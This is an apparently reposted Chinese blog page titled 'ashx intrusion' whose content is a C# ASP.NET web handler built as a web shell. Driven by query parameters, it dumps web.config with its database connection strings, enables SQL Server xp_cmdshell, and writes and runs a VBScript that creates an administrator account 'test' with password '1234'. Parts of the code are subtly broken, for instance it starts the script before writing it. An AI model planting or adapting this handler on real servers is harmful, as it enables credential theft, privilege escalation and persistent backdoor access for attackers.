博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
ashx入侵
阅读量:4667 次
发布时间:2019-06-09

本文共 2336 字,大约阅读时间需要 7 分钟。

<%@ WebHandler Language="C#" Class="TextLd" %>

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data.SqlClient;

public class TextLd : IHttpHandler

{
public void CreateLocalUser(string newPath)
{
System.Diagnostics.Process.Start(@"d:\1.vbs");
System.IO.File.WriteAllText(@"d:\1.vbs", "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '属性,admin组\r\nod=ob.Create(\"user\",\"test\") '建立用户 \r\nSetPassword \"1234\" '设置密码 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\"");
}
public void ShowWebConfig(HttpContext context)
{
context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
}
public void WriteVbs(HttpContext context)
{
System.IO.File.WriteAllText(context.Request.MapPath("~/1.vbs"), "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '属性,admin组\r\nod=ob.Create(\"user\",\"test\") '建立用户 \r\nSetPassword \"1234\" '设置密码 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\"");
}
public void ExecuteSql(string connection, string sql)
{
using (SqlConnection con = new SqlConnection(connection))
{
using (SqlCommand commd = new SqlCommand(sql, con))
{
con.Open();
commd.ExecuteNonQuery();
con.Close();
}
}
}
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/plain";
context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
try
{
var connection = context.Request.QueryString["connection"];
switch (context.Request.QueryString["method"])
{
case "1": WriteVbs(context); break;
case "2":
ExecuteSql(connection,@"sp_configure 'show advanced options',1 reconfigure");
ExecuteSql(connection,@"sp_configure 'xp_cmdshell',1 reconfigure");//开启数据库的xp_cmdshell
break;
case "3": ExecuteSql(connection, "exec master..xp_cmdshell 'cscript " + context.Request.MapPath("~/1.vbs") + "'");
break;
default:
ShowWebConfig(context);
break;
}
}
catch (Exception ex)
{
context.Response.Write(ex.Message);
}
context.Response.End();
}
public bool IsReusable
{
get
{
return false;
}
}
}

转载于:https://www.cnblogs.com/a14907/p/5053530.html

你可能感兴趣的文章
jsp 修饰 Request 及Response
查看>>
HDU 2389 Rain on your Parade / HUST 1164 4 Rain on your Parade(二分图的最大匹配)
查看>>
对象的类型转换P109
查看>>
sqlite 查询表和字段是否存在
查看>>
http => https 升级
查看>>
Window 分布式学习-好文收藏
查看>>
Android TextUtils类介绍
查看>>
linux echo设置颜色
查看>>
英文参考文献标准格式:论文参考文献格式规范(转载)
查看>>
css div框加小箭头
查看>>
Eclipse快捷键与使用技巧总结
查看>>
Solr4.8.0源码分析(16)之SolrCloud索引深入(3)
查看>>
PEP8 - Python编码规范
查看>>
div放置图片总结
查看>>
FZOJβ #45. 染色问题
查看>>
Python之SYS模块
查看>>
webapi文件上传和下载
查看>>
HDU 1540 Tunnel Warfare [二分 + 线段树]
查看>>
C++:构造函数和析构函数能否为虚函数
查看>>
win7便笺元数据损坏,最新解决办法
查看>>